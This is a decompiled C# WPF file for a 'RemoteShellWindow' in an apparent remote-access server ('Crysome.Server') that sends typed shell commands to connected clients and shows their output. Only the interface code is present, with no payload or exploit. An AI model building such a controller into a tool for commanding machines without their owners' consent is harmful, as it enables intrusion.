using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;

namespace Crysome.Server.View;

public class RemoteShellWindow : FluentWindow, IComponentConnector
{
	private readonly ClientInfo _client;

	private readonly ManageClientsViewModel _vm;

	internal TextBlock TitleText;

	internal Button CloseBtn;

	internal TextBox OutputBox;

	internal TextBox CommandBox;

	private bool _contentLoaded;

	public RemoteShellWindow(ClientInfo client, ManageClientsViewModel vm)
	{
		InitializeComponent();
		_client = client;
		_vm = vm;
		((Window)this).Title = "Remote Shell — " + (client?.Address ?? "?");
		TitleText.Text = ((Window)this).Title;
		AppendOutput("Remote shell ready. Type a command and press Enter or click Send.\r\n");
		CommandBox.Focus();
	}

	private void AppendOutput(string text)
	{
		OutputBox.AppendText(text);
		OutputBox.ScrollToEnd();
	}

	private void SendCommand()
	{
		string text = (CommandBox.Text ?? "").Trim();
		if (!string.IsNullOrEmpty(text))
		{
			CommandBox.Clear();
			AppendOutput("> " + text + "\r\n");
			_vm.SendShellCommand(_client, text, delegate(string output)
			{
				AppendOutput(output + "\r\n");
			});
		}
	}

	private void SendBtn_Click(object sender, RoutedEventArgs e)
	{
		SendCommand();
	}

	private void CommandBox_KeyDown(object sender, KeyEventArgs e)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Invalid comparison between Unknown and I4
		if ((int)e.Key == 6)
		{
			e.Handled = true;
			SendCommand();
		}
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).Close();
	}

	private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
	{
		try
		{
			((Window)this).DragMove();
		}
		catch
		{
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteshellwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		//IL_004c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0056: Expected O, but got Unknown
		//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b6: Expected O, but got Unknown
		switch (connectionId)
		{
		case 1:
			((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
			break;
		case 2:
			TitleText = (TextBlock)target;
			break;
		case 3:
			CloseBtn = (Button)target;
			((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
			break;
		case 4:
			OutputBox = (TextBox)target;
			break;
		case 5:
			CommandBox = (TextBox)target;
			CommandBox.KeyDown += CommandBox_KeyDown;
			break;
		case 6:
			((ButtonBase)(Button)target).Click += SendBtn_Click;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}
